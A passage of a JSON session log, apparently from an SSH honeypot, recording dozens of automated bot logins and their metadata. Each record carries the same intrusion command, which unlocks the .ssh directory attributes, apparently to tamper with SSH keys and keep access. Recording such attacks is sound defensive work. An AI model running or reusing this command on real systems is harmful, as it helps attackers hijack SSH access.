"ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2190 }, { "id": "acda9d81-3085-402c-a846-bf495d93396f", "name": "jaunty-thrifty-dolphin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 52142, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 292, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:13:31.530033+00:00", "ended_at": "2026-08-26T14:13:32.561998+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2243 }, { "id": "dc54fef6-c1b6-4735-84c1-9064ac437ba5", "name": "jaunty-opal-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40692, "username": "deploy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:12:15.613953+00:00", "ended_at": "2026-08-26T14:12:17.079002+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2180 }, { "id": "3d96ac90-5974-45be-b7f5-5ffa7e68cb17", "name": "tangled-calm-impala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 60106, "username": "kamera", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 288, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:11:36.498686+00:00", "ended_at": "2026-08-26T14:11:38.123035+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2231 }, { "id": "db49389f-e9af-48c0-b6d4-0fc84d1a87c9", "name": "reedy-velvet-meerkat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 54270, "username": "stperez", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 293, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:09:35.058137+00:00", "ended_at": "2026-08-26T14:09:36.003043+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2219 }, { "id": "98ec9487-31d4-4515-8367-f0bbe33257ec", "name": "eager-polar-antelope", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40689, "username": "fs", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:09:21.961709+00:00", "ended_at": "2026-08-26T14:09:22.996074+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "aaa9f130-70a8-4358-ae68-b8e76e8598cc", "name": "blunt-gloomy-mallard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 65004, "username": "gpadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 301, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:07:32.660122+00:00", "ended_at": "2026-08-26T14:07:33.692080+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2208 }, { "id": "bd9a2d06-cbd9-4c52-ac45-d1478eacca0e", "name": "amber-knotted-tern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40686, "username": "minecraft", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:06:38.245229+00:00", "ended_at": "2026-08-26T14:06:39.380787+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2157 }, { "id": "2489171e-e757-466b-9b39-4c81f7353a5f", "name": "wooded-brisk-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 56130, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 285, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:05:33.591848+00:00", "ended_at": "2026-08-26T14:05:35.149922+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2206 }, { "id": "2f3d1d3c-f051-44e5-b47e-b55406fe1d31", "name": "dapper-barren-ptarmigan", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40683, "username": "pixel", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 747, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:03:29.804588+00:00", "ended_at": "2026-08-26T14:03:30.806226+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2140 }, { "id": "e2b4b756-6462-49fb-ae83-fbcb35286ae4", "name": "honest-icy-snipe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 52380, "username": "ehsan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 298, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:03:29.803087+00:00", "ended_at": "2026-08-26T14:03:30.720604+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2184 }, { "id": "9b420018-126a-46e8-b24f-51c87043de91", "name": "autumn-amiable-serval", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 62728, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 272, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:01:35.432864+00:00", "ended_at": "2026-08-26T14:01:36.957850+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2227 }, { "id": "30db74f5-79a5-4ca9-a2a4-22cd2d389aa2", "name": "nautical-emerald-rook", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40680, "username": "syncuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 758, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T14:00:51.104083+00:00", "ended_at": "2026-08-26T14:00:52.317010+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2128 }, { "id": "acb09280-b396-499c-8df8-a623268ec32b", "name": "sandy-jagged-fennec", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 53744, "username": "ruslan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 288, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:59:43.689658+00:00", "ended_at": "2026-08-26T13:59:45.110991+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2171 }, { "id": "70a47b81-29fd-4cf0-afd5-77c5a5922328", "name": "kindly-polar-grebe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40677, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 746, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:58:04.013595+00:00", "ended_at": "2026-08-26T13:58:05.224226+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2120 }, { "id": "97d0f088-0d75-4a5c-857f-e2f1d644ec94", "name": "glassy-twilight-condor", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 63832, "username": "faisal", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 285, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:57:47.237455+00:00", "ended_at": "2026-08-26T13:57:48.592237+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2154 }, { "id": "59302a61-2612-4208-880c-57bc9e169e91", "name": "windswept-airy-jerboa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 56754, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 290, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:55:48.892489+00:00", "ended_at": "2026-08-26T13:55:50.492556+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "c9d6f7ec-ae53-46c3-ae66-55da39cd2361", "name": "merry-noble-agouti", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40674, "username": "tu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:55:14.798951+00:00", "ended_at": "2026-08-26T13:55:16.062830+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2096 }, { "id": "afed491f-443a-4678-b2db-1fd6102a464b", "name": "sandy-graceful-oriole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 52216, "username": "teamspeak", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 292, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:53:45.342766+00:00", "ended_at": "2026-08-26T13:53:46.697851+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2143 }, { "id": "215ced8a-5754-4c1e-aa4e-f93dfd2d660b", "name": "frugal-supple-magpie", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40609, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 757, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:52:26.025846+00:00", "ended_at": "2026-08-26T13:52:27.685370+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2109 }, { "id": "1acaed3f-f46f-4bc5-bb50-d204692265c4", "name": "solemn-sandy-impala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 53458, "username": "fs", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:51:45.885664+00:00", "ended_at": "2026-08-26T13:51:47.363054+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2115 }, { "id": "6e24c3f8-99c5-4d18-b095-14b6b033502d", "name": "pleasant-tranquil-gerbil", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 60196, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 301, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:49:41.900181+00:00", "ended_at": "2026-08-26T13:49:43.221617+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2159 }, { "id": "0af7d103-2e98-4bdb-876a-147ebe8b9ad0", "name": "honest-thrifty-quoll", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40606, "username": "promo", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 753, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:49:39.315397+00:00", "ended_at": "2026-08-26T13:49:40.995564+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2085 }, { "id": "bf5b002b-cfcb-4b2e-a989-9c3178182dda", "name": "dutiful-sullen-redshank", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 58848, "username": "yangx", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 293, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:47:47.223333+00:00", "ended_at": "2026-08-26T13:47:49.210270+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2094 }, { "id": "ab16ca17-a9d5-4c27-9a60-3452b2bdc134", "name": "sterling-stoic-antelope", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40603, "username": "sftp", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:46:55.311183+00:00", "ended_at": "2026-08-26T13:46:56.925106+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2069 }, { "id": "cb7413ea-8ef5-458d-9ae3-1db2b223d063", "name": "early-blunt-oryx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 54674, "username": "acer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 291, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:45:52.160935+00:00", "ended_at": "2026-08-26T13:45:53.165272+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2076 }, { "id": "7174fda1-315e-4d85-be7e-621af5c57b3e", "name": "autumn-craggy-weasel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 51900, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 925, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:44:17.298460+00:00", "ended_at": "2026-08-26T13:44:18.623063+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "76a17a04-81fc-46e0-842e-f42baf2ed11f", "name": "opal-quaint-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40600, "username": "gpadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:43:47.076076+00:00", "ended_at": "2026-08-26T13:43:48.360001+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2067 }, { "id": "42543b63-fc4b-40b7-9a13-ec41d327ec93", "name": "fickle-rugged-stork", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 59310, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:43:44.740814+00:00", "ended_at": "2026-08-26T13:43:46.271835+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2128 }, { "id": "163daaed-ce86-40b1-adca-4df6ae065541", "name": "indigo-wiry-stoat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 62784, "username": "postgres", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 287, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:41:43.909269+00:00", "ended_at": "2026-08-26T13:41:44.902723+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2086 }, { "id": "cb3ba518-0c4e-4f70-9050-d020bad8cb20", "name": "russet-weathered-owl", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40597, "username": "kim", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 758, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:41:02.716304+00:00", "ended_at": "2026-08-26T13:41:03.522586+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2048 }, { "id": "858a0932-be08-43d0-afe3-adec50fe91cb", "name": "loyal-lucid-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 51696, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 934, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:41:01.736509+00:00", "ended_at": "2026-08-26T13:41:03.499969+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "e4d6094e-7276-43a2-845a-328c4555f3bf", "name": "vigilant-amiable-egret", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 56164, "username": "pixel", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 278, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:39:44.534056+00:00", "ended_at": "2026-08-26T13:39:45.132972+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2052 }, { "id": "18540208-2653-4b61-9092-7a1ce0734aea", "name": "valiant-frugal-chickadee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.55.45.217", "src_port": 54538, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 66, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:38:24.493888+00:00", "ended_at": "2026-08-26T13:38:25.078452+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2046 }, { "id": "6ab027d5-570c-44cc-ba48-b115e3f0a633", "name": "gloomy-early-wallaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.167.228.123", "src_port": 40594, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 750, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:38:07.941746+00:00", "ended_at": "2026-08-26T13:38:08.705878+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2093 }, { "id": "09b9f7e9-442c-4620-b82d-79ed426f8809", "name": "whispering-mighty-barbet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 51506, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 930, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:37:48.623116+00:00", "ended_at": "2026-08-26T13:37:50.244066+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "2a30883d-7b95-49f9-91bd-66ddac1924e6", "name": "fierce-valiant-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "157.245.34.56", "src_port": 52088, "username": "ajay", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 298, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:37:42.190540+00:00", "ended_at": "2026-08-26T13:37:42.793002+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2046 }, { "id": "5e266807-f308-4837-8727-adf13b3a0c6f", "name": "faded-salty-redshank", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 51298, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 891, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:34:51.196430+00:00", "ended_at": "2026-08-26T13:34:52.702663+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "5b4b90a5-935e-43c9-a379-8786a933038b", "name": "rapid-graceful-oxpecker", "protocol": "ssh", "channel_kind": "exec", "src_ip": "41.173.43.34", "src_port": 10000, "username": "cmsadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1316, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:32:59.279844+00:00", "ended_at": "2026-08-26T13:33:00.364442+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2078 }, { "id": "3248d717-3fd0-465f-8193-0b9b2257996f", "name": "ruddy-blunt-jerboa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "77.233.213.67", "src_port": 38870, "username": "syncuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 726, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:31:50.657780+00:00", "ended_at": "2026-08-26T13:31:51.456511+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2040 }, { "id": "6e449071-5714-41e6-897b-6909492a920f", "name": "wiry-mottled-hummingbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 51100, "username": "valentina", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1200, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:31:42.417745+00:00", "ended_at": "2026-08-26T13:31:44.025795+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2262 }, { "id": "18e61d27-ebe7-4c71-8696-b24a854aad5b", "name": "gallant-faded-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 50902, "username": "zzl", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1207, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:28:25.500665+00:00", "ended_at": "2026-08-26T13:28:26.300194+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2242 }, { "id": "da994aa2-008d-4b69-b05f-7ceeb86a64fa", "name": "chilly-deft-martin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "125.142.37.91", "src_port": 46416, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 632, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:21:48.264018+00:00", "ended_at": "2026-08-26T13:21:49.062135+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2093 }, { "id": "9341314a-c666-428a-ad30-b5e08049bc6c", "name": "wry-tender-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 50494, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1209, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:21:47.359998+00:00", "ended_at": "2026-08-26T13:21:48.920783+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "1261f400-7a1d-4efd-b2a7-d9feaf63e031", "name": "autumn-cobalt-dormouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 50286, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 951, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:18:24.164394+00:00", "ended_at": "2026-08-26T13:18:26.224187+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "00394236-bcb6-4a9b-af1f-1c221f8e2a22", "name": "faded-muted-grebe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 50090, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1167, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:15:06.296677+00:00", "ended_at": "2026-08-26T13:15:08.206951+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "08b1ed45-b4fb-4c63-9613-aaea3cbca3b7", "name": "murky-wandering-cassowary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 49888, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1202, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:11:42.028828+00:00", "ended_at": "2026-08-26T13:11:47.309219+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "38df8a4e-f332-4892-a793-66dae3d31645", "name": "shaded-sincere-merlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 49686, "username": "student", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 922, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T13:08:30.023318+00:00", "ended_at": "2026-08-26T13:08:31.647250+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "c4001c4a-2129-414a-9db4-36677973a1a1", "name": "drifting-cosmic-lark", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 49088, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 934, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:59:15.601396+00:00", "ended_at": "2026-08-26T12:59:17.012599+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "11b65d9d-09a8-42c4-8f36-6094233473bc", "name": "frugal-plush-caracal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 48882, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 856, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:56:23.726104+00:00", "ended_at": "2026-08-26T12:56:24.969226+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "769cc704-6be2-4190-b4d9-94577d3282f5", "name": "weathered-frugal-cougar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 48686, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 851, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:53:31.835773+00:00", "ended_at": "2026-08-26T12:53:33.498135+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "722bf368-483e-4dac-99db-67390780a96e", "name": "mindful-wandering-greenfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 48490, "username": "mark", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 858, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:50:49.596202+00:00", "ended_at": "2026-08-26T12:50:50.894741+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "ed78ff8b-f28a-42df-8a34-903fe480802a", "name": "curious-blazing-marten", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.167.89.222", "src_port": 48294, "username": "testUser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 870, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T12:48:03.193113+00:00", "ended_at": "2026-08-26T12:48:04.611804+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "6fac3614-ca78-44f5-891b-155ec588a22b", "name": "russet-wooded-curlew", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 46998, "username": "user7", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 588, 